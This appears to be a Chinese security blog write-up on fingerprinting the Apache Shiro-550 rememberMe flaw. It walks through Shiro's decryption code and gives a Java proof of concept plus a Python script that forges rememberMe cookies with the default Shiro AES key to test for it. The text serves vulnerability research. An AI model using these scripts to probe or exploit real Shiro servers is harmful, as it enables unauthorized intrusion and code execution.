整体处理函数如下:
传入错误key:
通过393行传入subjectContext,调用getRememberedSerializedIdentity函数,该函数位内的
org/apache/shiro/web/mgt/CookieRememberMeManager.java:
可以看到该段函数含义为取cookie里的rememberMe参数,然后进行解码为字节数组
整体流程:
随后进入红箭头指向的这一步,convertBytesToPrincipals函数用shiro里的key对传入的参数进行解密等一系列操作,跟进convertBytesToPrincipals函数
发现调用了decrypt函数进行解密,继续跟进:
这里489行调用了key进行解密,当然,这里肯定是得不到结果的,因为传入的key是错误的,那么我们回过头,去看整体的函数,就会被
这里捕捉异常
进入onRememberedPrincipalFailure函数
进入forgetIdentity函数
继续跟进removeFrom方法:
355行加入了value,这里DELETED_COOKIE_VALUE即为deleteMe参数
这里用gadget进行rce,但是可以看到,多出来了一个deleteMe参数,为什么呢
传入的key正确,所以之前的流程不需要看,直接进入convertBytesToPrincipals函数,return deserialize
跟进deserialize函数
看到getSerializer函数,跟进
发现是PrincipalCollection类型的才会不报错,显然,gadget实际上并不是继承PrincipalCollection类型的,所以这里会报错
但是在做类型转换之前,先进入了DefaultSerializer#deserialize 进行反序列化处理,等处理结束返回 deserialized 时候,进行类型转换自然又回到了上面提到的类型转换异常,我们 key 不正确的情况下的 catch 异常捕获的逻辑里,后面的流程就和上述一样了
这里就是反序列化rce的触发点
那么总结一下上面的两种情况,要想达到只依赖shiro自身进行key检测,只需要满足两点:
1.构造一个继承 PrincipalCollection 的序列化对象。
2.key正确情况下不返回 deleteMe ,key错误情况下返回 deleteMe 。
基于这两个条件下 SimplePrincipalCollection 这个类自然就出现了,这个类可被序列化,继承了 PrincipalCollection 。
构造POC实际上也很简单,构造一个这个空对象也是可以达到效果的。(这里的org.apache.shiro.subject.SimplePrincipalCollection需自己进行获取导入)
package example;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import org.apache.shiro.subject.SimplePrincipalCollection;
public class test {
public static void main(String[] args) throws IOException {
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));
obj.writeObject(simplePrincipalCollection);
obj.close();
}
}
就会看到文件夹下多出一个payload文件,里面存储的即为序列化数据
这里我用到的生成rememberMe的脚本如下:
import sys
import base64
import uuid
from random
import Random
import subprocess
from Crypto.Cipher import AES
import base64
def encode_rememberme():
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid5(uuid.NAMESPACE_DNS, 'f0ng').bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
f=open(r'payload','rb') #二进制方式打开图文件
ls_f=base64.b64encode(f.read()) #读取文件内容,转换为base64编码
f.close()
print(base64.b64decode(ls_f))
file_body = pad(base64.b64decode(ls_f))
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
print(base64_ciphertext.decode())
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme()
用生成的rememberMe参数去请求:
随意进行更改rememberMe的key变成错误的key,重新生成
可以看到,rememberMe=deleteMe字段出来了
原文始发于微信公众号(only security):Shiro550另类检查方式笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论